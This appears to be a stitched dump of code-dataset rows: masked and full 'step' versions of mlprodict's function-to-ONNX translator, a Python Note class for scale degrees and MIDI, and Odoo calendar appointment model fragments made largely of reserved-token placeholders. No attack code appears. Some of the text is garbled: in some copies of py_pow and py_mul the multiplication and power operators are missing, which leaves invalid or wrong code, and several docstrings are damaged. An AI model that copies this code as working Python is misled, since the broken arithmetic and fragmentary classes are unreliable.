onnx_ops.__dict__\n for k, v in d.items():\n try:\n if k.startswith('Onnx') and issubclass(v, OnnxOperator):\n ctx[k] = v\n except TypeError as e:\n if inspect.isfunction(v):\n continue\n raise RuntimeError(f'Issue with {k}={v} (type={type(v)})') from e\n return ctx\n\n\ndef translate_fct2onnx(fct, context=None, cpl=False, context_cpl=None,\n output_names=None, dtype=numpy.float32, verbose=0, fLOG=None):\n \"\"\"\n Translates a function into :epkg:`ONNX`. The code it produces\n is using classes OnnxAbs, OnnxAdd, ...\n\n @param fct function to convert\n @param context context of the function to convert\n something like ``{'numpy.transpose': numpy.transpose}``,\n if context* is None, it receives a default value\n returnd by @see fn get_default_context\n @param cpl compile the function after it was\n created\n @param context_cpl context used at compiling time\n if context_cpl is None, it receives a default value\n returnd by @see fn get_default_context_cpl\n @param output_names names of the output in the :epkg:`ONNX` graph\n @param dtype :epkg:`numpy` float type used to produce the model\n @param verbose integer, display more information\n @param fLOG logging function\n @return code or compiled code\n\n .. exref::\n :title: Convert a function into ONNX code\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx2.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n onnx_code = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose})\n print(onnx_code)\n\n Next example goes further and compile the outcome.\n\n .. exref::\n :title: Convert a function into ONNX code and run\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed. The example executes the function,\n creates an :epkg:`ONNX` then uses @see cl OnnxInference\n to compute predictions. Finally it compares\n them to the original.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx3.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n from mlprodict.plotting.text_plot import onnx_simple_text_plot\n from mlprodict.onnxrt import OnnxInference\n from mlprodict.npy.xop import loadop\n\n\n OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop(\n 'Add', 'Transpose', 'Mul', 'Identity')\n\n\n ctx = {'OnnxAdd': OnnxAdd,\n 'OnnxTranspose': OnnxTranspose,\n 'OnnxMul': OnnxMul,\n 'OnnxIdentity': OnnxIdentity}\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32),\n 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T}\n\n original = trs(inputs['x'], inputs['y'])\n\n print('original output:', original)\n\n onnx_fct = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose},\n cpl=True, context_cpl=ctx, output_names=['Z'])\n\n onnx_code = onnx_fct('x', 'y', op_version=12)\n\n onnx_g = onnx_code.to_onnx(inputs, target_opset=12)\n print(\"ONNX model\")\n print(onnx_simple_text_plot(onnx_g))\n\n oinf = OnnxInference(onnx_g)\n res = oinf.run(inputs)\n\n print('-----------')\n print(\"ONNX inference:\", res['Z'])\n\n The function to be converted may include python functions\n which must not be converted. In that case, their name\n must be prefixed by ``py_``. The execution of the function\n this one builds produces the following error::\n\n TypeError: Parameter to MergeFrom() must be instance of same class:\n expected onnx.TensorProto got onnx.AttributeProto.\n\n It indicates that constants in the code marges multiple types,\n usually floats and tensor of floats. Floats should be converted\n using the following function::\n\n def py_make_float_array(cst):\n return numpy.array([cst], dtype=numpy.float32)\n\n The function replaces empty contexts by default values which\n covers many :epkg:`numpy` functions. The tutorial\n :ref:`l-onnx-tutorial` gives an example of how it can be used\n on a more complex function.\n \"\"\"\n\n def compile_code(name, code, context=None):\n \"\"\"\n Compiles a python function with the given\n context.\n\n @param name function name\n @param code python code\n @param context context used at compilation\n @return compiled function\n \"\"\"\n if context is None:\n context = {}\n try:\n obj = compile(code, '', 'exec')\n except SyntaxError as e:\n raise SyntaxError(f'Unable to compile\\n{code}') from e\n context_g = context.copy()\n context_l = context.copy()\n exec(obj, context_g, context_l)\n return context_l[name]\n if isinstance(fct, str):\n code = fct\n elif callable(fct):\n code = inspect.getsource(fct)\n else:\n raise TypeError(f'Unable to guess code from type {type(fct)}.')\n node = ast.parse(dedent(code))\n v = CodeNodeVisitor()\n v.visit(node)\n if context is None:\n context = get_default_context()\n onnx_code = v.export(context=context, output_names=output_names)\n if not cpl:\n return onnx_code\n if verbose > 0 and fLOG is not None:\n fLOG('[translate_fct2onnx] python code')\n fLOG(code)\n fLOG('[translate_fct2onnx] ONNX code')\n fLOG(onnx_code)\n if context_cpl is None:\n context_cpl = get_default_context_cpl()\n if 'numpy' not in context_cpl:\n context_cpl = context_cpl.copy()\n context_cpl['numpy'] = numpy\n return compile_code(fct.__name__, onnx_code, context_cpl)\n", "step-5": "\"\"\"\n@file\n@brief One class which visits a syntax tree.\n\"\"\"\nimport inspect\nimport ast\nfrom textwrap import dedent\nimport numpy\nfrom scipy.spatial.distance import squareform, pdist\nfrom .node_visitor_translator import CodeNodeVisitor\n\n\ndef py_make_float_array(cst, op_version=None):\n \"\"\"\n Creates an array with a single element\n from a constant.\n\n @param cst constant\n @param op_version unused\n @return array\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n\n from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array\n print(py_make_float_array(5.5))\n \"\"\"\n return numpy.array([cst], dtype=numpy.float32)\n\n\ndef py_pow(x, p, op_version=None):\n \"\"\"\n Function for python operator ````.\n\n @param x float\n @param p power\n @param op_version unused\n @return :math:`x^p`\n \"\"\"\n return x p\n\n\ndef py_mul(x, op_version=None):\n \"\"\"\n Function for python operator ````.\n\n @param x floats\n @param op_version unused\n @return `xy`\n \"\"\"\n if len(x) == 2:\n return x[0] x[1]\n p = x[0]\n for y in x[1:]:\n p = y\n return p\n\n\ndef py_opp(x, op_version=None):\n \"\"\"\n Function for python unary operator ``-``.\n\n @param x floats\n @param op_version unused\n @return `-x`\n \"\"\"\n return -x\n\n\ndef squareform_pdist(X, metric='sqeuclidean', op_version=None):\n \"\"\"\n Replacements for `squareform\n <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.squareform.html>`_\n and `pdist\n <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.pdist.html>`_.\n \"\"\"\n return squareform(pdist(X, metric=metric))\n\n\ndef get_default_context():\n \"\"\"\n Returns a default context useful for most of the conversion\n from a function using :epkg:`numpy` into :epkg:`ONNX`.\n \"\"\"\n context = {'py_pow': py_pow, 'py_make_float_array': py_make_float_array,\n 'py_mul': py_mul, 'py_opp': py_opp,\n 'cdist': 'cdist', 'squareform_pdist': 'squareform_pdist'}\n allow = set(('abs add ceil arccos arccosh arcsin arcsinh arctan arctanh ceil cos cosh divide'\n 'equal exp floor greater invert less log matmul maximum minimum mod'\n 'multiply power sign sin sinh sqrt square subtract tan tanh transpose').split())\n for k, v in numpy.__dict__.items():\n if k not in allow:\n continue\n context[f'numpy.{k}'] = v\n context[f'np.{k}'] = v\n return context\n\n\ndef get_default_context_cpl():\n \"\"\"\n Returns a default useful context to compile the converter\n returned by @see fn translate_fct2onnx.\n \"\"\"\n ctx = {'py_make_float_array': py_make_float_array,\n 'py_pow': py_pow, 'py_mul': py_mul, 'py_opp': py_opp,\n 'numpy': numpy}\n try:\n from skl2onnx.algebra.complex_functions import onnx_squareform_pdist # delayed\n from skl2onnx.algebra.complex_functions import onnx_cdist # delayed\n ctx['onnx_squareform_pdist'] = onnx_squareform_pdist\n ctx['onnx_cdist'] = onnx_cdist\n except ImportError: # pragma: no cover\n # Too old version for skl2onnx.\n pass\n\n from skl2onnx.algebra import onnx_ops # delayed\n from skl2onnx.algebra.onnx_operator import OnnxOperator # delayed\n d = onnx_ops.__dict__\n for k, v in d.items():\n try:\n if k.startswith(\"Onnx\") and issubclass(v, OnnxOperator):\n ctx[k] = v\n except TypeError as e:\n if inspect.isfunction(v):\n continue\n raise RuntimeError( # pragma: no cover\n f\"Issue with {k}={v} (type={type(v)})\") from e\n return ctx\n\n\ndef translate_fct2onnx(fct, context=None, cpl=False,\n context_cpl=None, output_names=None,\n dtype=numpy.float32,\n verbose=0, fLOG=None):\n \"\"\"\n Translates a function into :epkg:`ONNX`. The code it produces\n is using classes OnnxAbs, OnnxAdd, ...\n\n @param fct function to convert\n @param context context of the function to convert\n something like ``{'numpy.transpose': numpy.transpose}``,\n if context* is None, it receives a default value\n returnd by @see fn get_default_context\n @param cpl compile the function after it was\n created\n @param context_cpl context used at compiling time\n if context_cpl is None, it receives a default value\n returnd by @see fn get_default_context_cpl\n @param output_names names of the output in the :epkg:`ONNX` graph\n @param dtype :epkg:`numpy` float type used to produce the model\n @param verbose integer, display more information\n @param fLOG logging function\n @return code or compiled code\n\n .. exref::\n :title: Convert a function into ONNX code\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx2.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n onnx_code = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose})\n print(onnx_code)\n\n Next example goes further and compile the outcome.\n\n .. exref::\n :title: Convert a function into ONNX code and run\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed. The example executes the function,\n creates an :epkg:`ONNX` then uses @see cl OnnxInference\n to compute predictions. Finally it compares\n them to the original.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx3.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n from mlprodict.plotting.text_plot import onnx_simple_text_plot\n from mlprodict.onnxrt import OnnxInference\n from mlprodict.npy.xop import loadop\n\n\n OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop(\n 'Add', 'Transpose', 'Mul', 'Identity')\n\n\n ctx = {'OnnxAdd': OnnxAdd,\n 'OnnxTranspose': OnnxTranspose,\n 'OnnxMul': OnnxMul,\n 'OnnxIdentity': OnnxIdentity}\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32),\n 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T}\n\n original = trs(inputs['x'], inputs['y'])\n\n print('original output:', original)\n\n onnx_fct = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose},\n cpl=True, context_cpl=ctx, output_names=['Z'])\n\n onnx_code = onnx_fct('x', 'y', op_version=12)\n\n onnx_g = onnx_code.to_onnx(inputs, target_opset=12)\n print(\"ONNX model\")\n print(onnx_simple_text_plot(onnx_g))\n\n oinf = OnnxInference(onnx_g)\n res = oinf.run(inputs)\n\n print('-----------')\n print(\"ONNX inference:\", res['Z'])\n\n The function to be converted may include python functions\n which must not be converted. In that case, their name\n must be prefixed by ``py_``. The execution of the function\n this one builds produces the following error::\n\n TypeError: Parameter to MergeFrom() must be instance of same class:\n expected onnx.TensorProto got onnx.AttributeProto.\n\n It indicates that constants in the code marges multiple types,\n usually floats and tensor of floats. Floats should be converted\n using the following function::\n\n def py_make_float_array(cst):\n return numpy.array([cst], dtype=numpy.float32)\n\n The function replaces empty contexts by default values which\n covers many :epkg:`numpy` functions. The tutorial\n :ref:`l-onnx-tutorial` gives an example of how it can be used\n on a more complex function.\n \"\"\"\n def compile_code(name, code, context=None):\n \"\"\"\n Compiles a python function with the given\n context.\n\n @param name function name\n @param code python code\n @param context context used at compilation\n @return compiled function\n \"\"\"\n if context is None:\n context = {} # pragma: no cover\n try:\n obj = compile(code, \"\", \"exec\")\n except SyntaxError as e: # pragma: no cover\n raise SyntaxError(f\"Unable to compile\\n{code}\") from e\n context_g = context.copy()\n context_l = context.copy()\n exec(obj, context_g, context_l) # pylint: disable=W0122\n return context_l[name]\n\n if isinstance(fct, str):\n code = fct\n elif callable(fct):\n code = inspect.getsource(fct)\n else:\n raise TypeError( # pragma: no cover\n f\"Unable to guess code from type {type(fct)}.\")\n node = ast.parse(dedent(code))\n v = CodeNodeVisitor()\n v.visit(node)\n if context is None:\n context = get_default_context()\n onnx_code = v.export(context=context,\n output_names=output_names)\n if not cpl:\n return onnx_code\n if verbose > 0 and fLOG is not None: # pragma: no cover\n fLOG('[translate_fct2onnx] python code')\n fLOG(code)\n fLOG('[translate_fct2onnx] ONNX code')\n fLOG(onnx_code)\n if context_cpl is None:\n context_cpl = get_default_context_cpl()\n if 'numpy' not in context_cpl:\n context_cpl = context_cpl.copy()\n context_cpl['numpy'] = numpy\n return compile_code(fct.__name__, onnx_code, context_cpl)\n", "step-ids": [ 5, 6, 7, 9, 10 ] }	[ 5, 6, 7, 9, 10 ]
from random import shuffle, choice from typing import Dict, List, Tuple note_to_midi: Dict[int, int] = { 1: 0, 2: 2, 3: 4, 4: 5, 5: 7, 6: 9, 7: 11, } midi_to_note: Dict[int, int] = { 0: 1, 2: 2, 4: 3, 5: 4, 7: 5, 9: 6, 11: 7, } class Note: num: int @classmethod def choice(cls, *args: int): return Note(choice(args)) @classmethod def from_midi(cls, midi: int, root: int): note = midi_to_note.get(midi % root) if isinstance(note, int): return cls(note) raise ValueError() def __init__(self, num: int): while num > 7: num -= 7 while num <= 0: num += 7 self.num = num def __int__(self): return self.num def __repr__(self): return str(self.num) def __str__(self): return f'Note: {self.num}' def __hash__(self): return hash(self.num) def _distance(self, other): if isinstance(other, Note): return self.num - other.num raise TypeError() def __eq__(self, other): return self._distance(other) == 0 def __lt__(self, other): return self._distance(other) < 0 def __le__(self, other): return self._distance(other) <= 0 def __gt__(self, other): return self._distance(other) > 0 def __ge__(self, other): return self._distance(other) >= 0 def _get_interval(self, interval: int): return {Note(self.num - interval), Note(self.num + interval)} def get_unison(self): return self._get_interval(0) def get_second(self): return self._get_interval(1) def get_thirds(self): return self._get_interval(2) def get_forth(self): return self._get_interval(3) def get_fifth(self): return self._get_interval(4) def get_sixth(self): return self._get_interval(5) def get_seventh(self): return self._get_interval(6) def inv(self): return Note(6 - self.num) def get_next_possible_notes(self, /, leap=True): ret = [Note(self.num - 1), Note(self.num + 1)] if leap: ret += [Note(self.num - 2), Note(self.num + 2)] shuffle(ret) return ret def __sub__(self, other) -> int: dist = abs(self._distance(other)) if dist > 3: dist = 7 - dist return dist def get_all_possible_midi(self, root: int) -> List[int]: midi = self.convert_to_midi(root) assert midi >= 0 ret: List[int] = [] while midi - 12 >= 0: midi -= 12 while midi <= 127: ret.append(midi) midi += 12 return ret def convert_to_midi(self, root: int) -> int: return note_to_midi[self.num] + root INVERSE_POSSIBLE_NOTE = { Note(2), Note(3), Note(4), } def choose_from_inverse_possible_note(): return choice(list(INVERSE_POSSIBLE_NOTE)) ALL_NOTES = { Note(1), Note(2), Note(3), Note(4), Note(5), Note(6), Note(7), } def choose_from_all_notes(): return choice(list(ALL_NOTES)) def fill_in_thirds() -> Tuple[Note, Note]: first = choice(list(ALL_NOTES)) second = choice(list(first.get_thirds())) return first, second	normal	{ "blob_id": "d70f77713abf4b35db9de72c1edbf4bf4580b2a4", "index": 8795, "step-1": "<mask token>\n\n\nclass Note:\n num: int\n\n @classmethod\n def choice(cls, args: int):\n return Note(choice(args))\n\n @classmethod\n def from_midi(cls, midi: int, root: int):\n note = midi_to_note.get(midi % root)\n if isinstance(note, int):\n return cls(note)\n raise ValueError()\n\n def __init__(self, num: int):\n while num > 7:\n num -= 7\n while num <= 0:\n num += 7\n self.num = num\n <mask token>\n\n def __repr__(self):\n return str(self.num)\n\n def __str__(self):\n return f'Note: {self.num}'\n\n def __hash__(self):\n return hash(self.num)\n\n def _distance(self, other):\n if isinstance(other, Note):\n return self.num - other.num\n raise TypeError()\n\n def __eq__(self, other):\n return self._distance(other) == 0\n\n def __lt__(self, other):\n return self._distance(other) < 0\n\n def __le__(self, other):\n return self._distance(other) <= 0\n\n def __gt__(self, other):\n return self._distance(other) > 0\n\n def __ge__(self, other):\n return self._distance(other) >= 0\n\n def _get_interval(self, interval: int):\n return {Note(self.num - interval), Note(self.num + interval)}\n\n def get_unison(self):\n return self._get_interval(0)\n\n def get_second(self):\n return self._get_interval(1)\n <mask token>\n\n def get_forth(self):\n return self._get_interval(3)\n\n def get_fifth(self):\n return self._get_interval(4)\n\n def get_sixth(self):\n return self._get_interval(5)\n\n def get_seventh(self):\n return self._get_interval(6)\n\n def inv(self):\n return Note(6 - self.num)\n <mask token>\n\n def __sub__(self, other) ->int:\n dist = abs(self._distance(other))\n if dist > 3:\n dist = 7 - dist\n return dist\n\n def get_all_possible_midi(self, root: int) ->List[int]:\n midi = self.convert_to_midi(root)\n assert midi >= 0\n ret: List[int] = []\n while midi - 12 >= 0:\n midi -= 12\n while midi <= 127:\n ret.append(midi)\n midi += 12\n return ret\n\n def convert_to_midi(self, root: int) ->int:\n return note_to_midi[self.num] + root\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Note:\n num: int\n\n @classmethod\n def choice(cls, args: int):\n return Note(choice(args))\n\n @classmethod\n def from_midi(cls, midi: int, root: int):\n note = midi_to_note.get(midi % root)\n if isinstance(note, int):\n return cls(note)\n raise ValueError()\n\n def __init__(self, num: int):\n while num > 7:\n num -= 7\n while num <= 0:\n num += 7\n self.num = num\n <mask token>\n\n def __repr__(self):\n return str(self.num)\n\n def __str__(self):\n return f'Note: {self.num}'\n\n def __hash__(self):\n return hash(self.num)\n\n def _distance(self, other):\n if isinstance(other, Note):\n return self.num - other.num\n raise TypeError()\n\n def __eq__(self, other):\n return self._distance(other) == 0\n\n def __lt__(self, other):\n return self._distance(other) < 0\n\n def __le__(self, other):\n return self._distance(other) <= 0\n\n def __gt__(self, other):\n return self._distance(other) > 0\n\n def __ge__(self, other):\n return self._distance(other) >= 0\n\n def _get_interval(self, interval: int):\n return {Note(self.num - interval), Note(self.num + interval)}\n\n def get_unison(self):\n return self._get_interval(0)\n\n def get_second(self):\n return self._get_interval(1)\n\n def get_thirds(self):\n return self._get_interval(2)\n\n def get_forth(self):\n return self._get_interval(3)\n\n def get_fifth(self):\n return self._get_interval(4)\n\n def get_sixth(self):\n return self._get_interval(5)\n\n def get_seventh(self):\n return self._get_interval(6)\n\n def inv(self):\n return Note(6 - self.num)\n\n def get_next_possible_notes(self, /, leap=True):\n ret = [Note(self.num - 1), Note(self.num + 1)]\n if leap:\n ret += [Note(self.num - 2), Note(self.num + 2)]\n shuffle(ret)\n return ret\n\n def __sub__(self, other) ->int:\n dist = abs(self._distance(other))\n if dist > 3:\n dist = 7 - dist\n return dist\n\n def get_all_possible_midi(self, root: int) ->List[int]:\n midi = self.convert_to_midi(root)\n assert midi >= 0\n ret: List[int] = []\n while midi - 12 >= 0:\n midi -= 12\n while midi <= 127:\n ret.append(midi)\n midi += 12\n return ret\n\n def convert_to_midi(self, root: int) ->int:\n return note_to_midi[self.num] + root\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Note:\n num: int\n\n @classmethod\n def choice(cls, args: int):\n return Note(choice(args))\n\n @classmethod\n def from_midi(cls, midi: int, root: int):\n note = midi_to_note.get(midi % root)\n if isinstance(note, int):\n return cls(note)\n raise ValueError()\n\n def __init__(self, num: int):\n while num > 7:\n num -= 7\n while num <= 0:\n num += 7\n self.num = num\n\n def __int__(self):\n return self.num\n\n def __repr__(self):\n return str(self.num)\n\n def __str__(self):\n return f'Note: {self.num}'\n\n def __hash__(self):\n return hash(self.num)\n\n def _distance(self, other):\n if isinstance(other, Note):\n return self.num - other.num\n raise TypeError()\n\n def __eq__(self, other):\n return self._distance(other) == 0\n\n def __lt__(self, other):\n return self._distance(other) < 0\n\n def __le__(self, other):\n return self._distance(other) <= 0\n\n def __gt__(self, other):\n return self._distance(other) > 0\n\n def __ge__(self, other):\n return self._distance(other) >= 0\n\n def _get_interval(self, interval: int):\n return {Note(self.num - interval), Note(self.num + interval)}\n\n def get_unison(self):\n return self._get_interval(0)\n\n def get_second(self):\n return self._get_interval(1)\n\n def get_thirds(self):\n return self._get_interval(2)\n\n def get_forth(self):\n return self._get_interval(3)\n\n def get_fifth(self):\n return self._get_interval(4)\n\n def get_sixth(self):\n return self._get_interval(5)\n\n def get_seventh(self):\n return self._get_interval(6)\n\n def inv(self):\n return Note(6 - self.num)\n\n def get_next_possible_notes(self, /, leap=True):\n ret = [Note(self.num - 1), Note(self.num + 1)]\n if leap:\n ret += [Note(self.num - 2), Note(self.num + 2)]\n shuffle(ret)\n return ret\n\n def __sub__(self, other) ->int:\n dist = abs(self._distance(other))\n if dist > 3:\n dist = 7 - dist\n return dist\n\n def get_all_possible_midi(self, root: int) ->List[int]:\n midi = self.convert_to_midi(root)\n assert midi >= 0\n ret: List[int] = []\n while midi - 12 >= 0:\n midi -= 12\n while midi <= 127:\n ret.append(midi)\n midi += 12\n return ret\n\n def convert_to_midi(self, root: int) ->int:\n return note_to_midi[self.num] + root\n\n\n<mask token>\n\n\ndef choose_from_all_notes():\n return choice(list(ALL_NOTES))\n\n\n<mask token>\n", "step-4": "from random import shuffle, choice\nfrom typing import Dict, List, Tuple\nnote_to_midi: Dict[int, int] = {(1): 0, (2): 2, (3): 4, (4): 5, (5): 7, (6):\n 9, (7): 11}\nmidi_to_note: Dict[int, int] = {(0): 1, (2): 2, (4): 3, (5): 4, (7): 5, (9):\n 6, (11): 7}\n\n\nclass Note:\n num: int\n\n @classmethod\n def choice(cls, args: int):\n return Note(choice(args))\n\n @classmethod\n def from_midi(cls, midi: int, root: int):\n note = midi_to_note.get(midi % root)\n if isinstance(note, int):\n return cls(note)\n raise ValueError()\n\n def __init__(self, num: int):\n while num > 7:\n num -= 7\n while num <= 0:\n num += 7\n self.num = num\n\n def __int__(self):\n return self.num\n\n def __repr__(self):\n return str(self.num)\n\n def __str__(self):\n return f'Note: {self.num}'\n\n def __hash__(self):\n return hash(self.num)\n\n def _distance(self, other):\n if isinstance(other, Note):\n return self.num - other.num\n raise TypeError()\n\n def __eq__(self, other):\n return self._distance(other) == 0\n\n def __lt__(self, other):\n return self._distance(other) < 0\n\n def __le__(self, other):\n return self._distance(other) <= 0\n\n def __gt__(self, other):\n return self._distance(other) > 0\n\n def __ge__(self, other):\n return self._distance(other) >= 0\n\n def _get_interval(self, interval: int):\n return {Note(self.num - interval), Note(self.num + interval)}\n\n def get_unison(self):\n return self._get_interval(0)\n\n def get_second(self):\n return self._get_interval(1)\n\n def get_thirds(self):\n return self._get_interval(2)\n\n def get_forth(self):\n return self._get_interval(3)\n\n def get_fifth(self):\n return self._get_interval(4)\n\n def get_sixth(self):\n return self._get_interval(5)\n\n def get_seventh(self):\n return self._get_interval(6)\n\n def inv(self):\n return Note(6 - self.num)\n\n def get_next_possible_notes(self, /, leap=True):\n ret = [Note(self.num - 1), Note(self.num + 1)]\n if leap:\n ret += [Note(self.num - 2), Note(self.num + 2)]\n shuffle(ret)\n return ret\n\n def __sub__(self, other) ->int:\n dist = abs(self._distance(other))\n if dist > 3:\n dist = 7 - dist\n return dist\n\n def get_all_possible_midi(self, root: int) ->List[int]:\n midi = self.convert_to_midi(root)\n assert midi >= 0\n ret: List[int] = []\n while midi - 12 >= 0:\n midi -= 12\n while midi <= 127:\n ret.append(midi)\n midi += 12\n return ret\n\n def convert_to_midi(self, root: int) ->int:\n return note_to_midi[self.num] + root\n\n\nINVERSE_POSSIBLE_NOTE = {Note(2), Note(3), Note(4)}\n\n\ndef choose_from_inverse_possible_note():\n return choice(list(INVERSE_POSSIBLE_NOTE))\n\n\nALL_NOTES = {Note(1), Note(2), Note(3), Note(4), Note(5), Note(6), Note(7)}\n\n\ndef choose_from_all_notes():\n return choice(list(ALL_NOTES))\n\n\ndef fill_in_thirds() ->Tuple[Note, Note]:\n first = choice(list(ALL_NOTES))\n second = choice(list(first.get_thirds()))\n return first, second\n", "step-5": "from random import shuffle, choice\nfrom typing import Dict, List, Tuple\n\nnote_to_midi: Dict[int, int] = {\n 1: 0,\n 2: 2,\n 3: 4,\n 4: 5,\n 5: 7,\n 6: 9,\n 7: 11,\n}\n\nmidi_to_note: Dict[int, int] = {\n 0: 1,\n 2: 2,\n 4: 3,\n 5: 4,\n 7: 5,\n 9: 6,\n 11: 7,\n}\n\n\nclass Note:\n num: int\n\n @classmethod\n def choice(cls, *args: int):\n return Note(choice(args))\n\n @classmethod\n def from_midi(cls, midi: int, root: int):\n note = midi_to_note.get(midi % root)\n if isinstance(note, int):\n return cls(note)\n raise ValueError()\n\n def __init__(self, num: int):\n while num > 7:\n num -= 7\n while num <= 0:\n num += 7\n self.num = num\n\n def __int__(self):\n return self.num\n\n def __repr__(self):\n return str(self.num)\n\n def __str__(self):\n return f'Note: {self.num}'\n\n def __hash__(self):\n return hash(self.num)\n\n def _distance(self, other):\n if isinstance(other, Note):\n return self.num - other.num\n raise TypeError()\n\n def __eq__(self, other):\n return self._distance(other) == 0\n\n def __lt__(self, other):\n return self._distance(other) < 0\n\n def __le__(self, other):\n return self._distance(other) <= 0\n\n def __gt__(self, other):\n return self._distance(other) > 0\n\n def __ge__(self, other):\n return self._distance(other) >= 0\n\n def _get_interval(self, interval: int):\n return {Note(self.num - interval), Note(self.num + interval)}\n\n def get_unison(self):\n return self._get_interval(0)\n\n def get_second(self):\n return self._get_interval(1)\n\n def get_thirds(self):\n return self._get_interval(2)\n\n def get_forth(self):\n return self._get_interval(3)\n\n def get_fifth(self):\n return self._get_interval(4)\n\n def get_sixth(self):\n return self._get_interval(5)\n\n def get_seventh(self):\n return self._get_interval(6)\n\n def inv(self):\n return Note(6 - self.num)\n\n def get_next_possible_notes(self, /, leap=True):\n ret = [Note(self.num - 1), Note(self.num + 1)]\n if leap:\n ret += [Note(self.num - 2), Note(self.num + 2)]\n shuffle(ret)\n return ret\n\n def __sub__(self, other) -> int:\n dist = abs(self._distance(other))\n if dist > 3:\n dist = 7 - dist\n return dist\n\n def get_all_possible_midi(self, root: int) -> List[int]:\n midi = self.convert_to_midi(root)\n assert midi >= 0\n ret: List[int] = []\n while midi - 12 >= 0:\n midi -= 12\n while midi <= 127:\n ret.append(midi)\n midi += 12\n return ret\n\n def convert_to_midi(self, root: int) -> int:\n return note_to_midi[self.num] + root\n\n\nINVERSE_POSSIBLE_NOTE = {\n Note(2), Note(3), Note(4),\n}\n\n\ndef choose_from_inverse_possible_note():\n return choice(list(INVERSE_POSSIBLE_NOTE))\n\n\nALL_NOTES = {\n Note(1), Note(2), Note(3), Note(4), Note(5), Note(6), Note(7),\n}\n\n\ndef choose_from_all_notes():\n return choice(list(ALL_NOTES))\n\n\ndef fill_in_thirds() -> Tuple[Note, Note]:\n first = choice(list(ALL_NOTES))\n second = choice(list(first.get_thirds()))\n return first, second\n", "step-ids": [ 24, 26, 28, 33, 34 ] }	[ 24, 26, 28, 33, 34 ]
<\|reserved_special_token_0\|> class CalendarAppointmentSlot(models.Model): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> @api.constrains('hour') def check_hour(self): if any(slot.hour < 0.0 or slot.hour >= 24.0 for slot in self): raise ValidationError(_( 'Please enter a valid hour between 0:00 and 24:00 for your slots.' )) def name_get(self): weekdays = dict(self._fields['weekday'].selection) return self.mapped(lambda slot: (slot.id, '%s, %02d:%02d' % ( weekdays.get(slot.weekday), int(slot.hour), int(round(slot.hour % 1 * 60))))) class CalendarAppointmentQuestion(models.Model): _name = 'calendar.appointment.question' _description = 'Online Appointment : Questions' _order = 'sequence' sequence = fields.Integer('Sequence') appointment_type_id = fields.Many2one('calendar.appointment.type', 'Appointment Type', ondelete='cascade') name = fields.Char('Question', translate=True, required=True) placeholder = fields.Char('Placeholder', translate=True) question_required = fields.Boolean('Required Answer') question_type = fields.Selection([('char', 'Single line text'), ('text', 'Multi-line text'), ('select', 'Dropdown (one answer)'), ('radio', 'Radio (one answer)'), ('checkbox', 'Checkboxes (multiple answers)' )], 'Question Type', default='char') answer_ids = fields.Many2many('calendar.appointment.answer', 'calendar_appointment_question_answer_rel', 'question_id', 'answer_id', string='Available Answers') class CalendarAppointmentAnswer(models.Model): _name = 'calendar.appointment.answer' _description = 'Online Appointment : Answers' question_id = fields.Many2many('calendar.appointment.question', 'calendar_appointment_question_answer_rel', 'answer_id', 'question_id', string='Questions') name = fields.Char('Answer', translate=True, required=True) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class CalendarAppointmentType(models.Model): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> def _get_appointment_slots(self, timezone, employee=None): """ Fetch available slots to book an appointment :param timezone: timezone string e.g.: 'Europe/Brussels' or 